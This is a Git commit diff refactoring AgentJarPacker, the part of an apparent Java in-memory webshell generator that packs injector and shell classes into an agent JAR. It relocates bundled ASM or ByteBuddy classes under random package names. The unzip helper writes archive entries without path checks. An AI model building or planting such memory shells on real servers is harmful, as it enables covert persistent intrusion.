refactor: extract method
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / ${{ matrix.middleware }} (glassfish) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbossas) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbosseap) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jetty) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (payara) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (resin) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springmvc) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springwebflux) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (tomcat) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (weblogic) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere7) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (wildfly) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (xxljob) (push) Blocked by required conditions

This commit is contained in:
ReaJason
2025-03-29 14:30:11 +08:00
parent 36027167d5
commit de9de883fc
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
@@ -17,75 +18,95 @@ import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
import java.util.jar.*;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarPacker implements JarPacker {
static Path tempBootPath;
private static Path tempBootPath;
@Override
@SneakyThrows
public byte[] packBytes(GenerateResult generateResult) {
String mainClass = generateResult.getInjectorClassName();
String advisorClass = generateResult.getShellClassName();
Manifest manifest = createManifest(generateResult.getInjectorClassName());
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix, isAsm);
addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
}
return outputStream.toByteArray();
}
private Manifest createManifest(String mainClass) {
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", mainClass);
attributes.putValue("Premain-Class", mainClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
String RELOCATE_PREFIX = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
boolean RELOCATE_ENABLED = true;
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
String dependencyPackageName = null;
if (generateResult.getShellConfig().getShellType().endsWith("ASM")) {
dependencyPackageName = Opcodes.class.getPackage().getName();
addDependency(targetJar, Opcodes.class, true, RELOCATE_PREFIX);
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
if (isAsm) {
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
} else {
RELOCATE_ENABLED = false;
dependencyPackageName = ByteBuddy.class.getPackage().getName();
addDependency(targetJar, ByteBuddy.class, false, RELOCATE_PREFIX);
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
}
}
byte[] injectorBytes = generateResult.getInjectorBytes();
if (RELOCATE_ENABLED) {
injectorBytes = ClassRenameUtils.relocateClass(injectorBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
}
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
targetJar.write(injectorBytes);
targetJar.closeEntry();
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
String relocatePrefix, boolean isRelocateEnabled) {
String dependencyPackage = isRelocateEnabled ?
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
byte[] shellBytes = generateResult.getShellBytes();
if (RELOCATE_ENABLED) {
shellBytes = ClassRenameUtils.relocateClass(shellBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
}
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
targetJar.write(shellBytes);
targetJar.closeEntry();
// Add injector class
addClassEntry(targetJar,
generateResult.getInjectorClassName(),
generateResult.getInjectorBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
// Add shell class
addClassEntry(targetJar,
generateResult.getShellClassName(),
generateResult.getShellBytes(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
// Add inner classes
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
byte[] innerClassBytes = entry.getValue();
if (RELOCATE_ENABLED) {
innerClassBytes = ClassRenameUtils.relocateClass(innerClassBytes, dependencyPackageName, RELOCATE_PREFIX + dependencyPackageName);
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix,
isRelocateEnabled);
}
targetJar.write(innerClassBytes);
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = isRelocateEnabled ?
ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
classBytes;
targetJar.write(processedBytes);
targetJar.closeEntry();
}
}
return byteArrayOutputStream.toByteArray();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
@@ -128,27 +149,29 @@ public class AgentJarPacker implements JarPacker {
sourceJar.close();
}
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows
public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
String entryName = jarEntry.getName();
File file = new File(tempPath, entryName);
File targetFile = new File(tempPath, jarEntry.getName());
if (jarEntry.isDirectory()) {
file.mkdir();
} else {
InputStream inputStream = null;
FileOutputStream outputStream = null;
try {
inputStream = jarFile.getInputStream(jarEntry);
outputStream = new FileOutputStream(file);
IOUtils.copy(inputStream, outputStream);
} finally {
IOUtils.closeQuietly(inputStream);
IOUtils.closeQuietly(outputStream);
targetFile.mkdirs();
continue;
}
targetFile.getParentFile().mkdirs();
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream);
}
}
}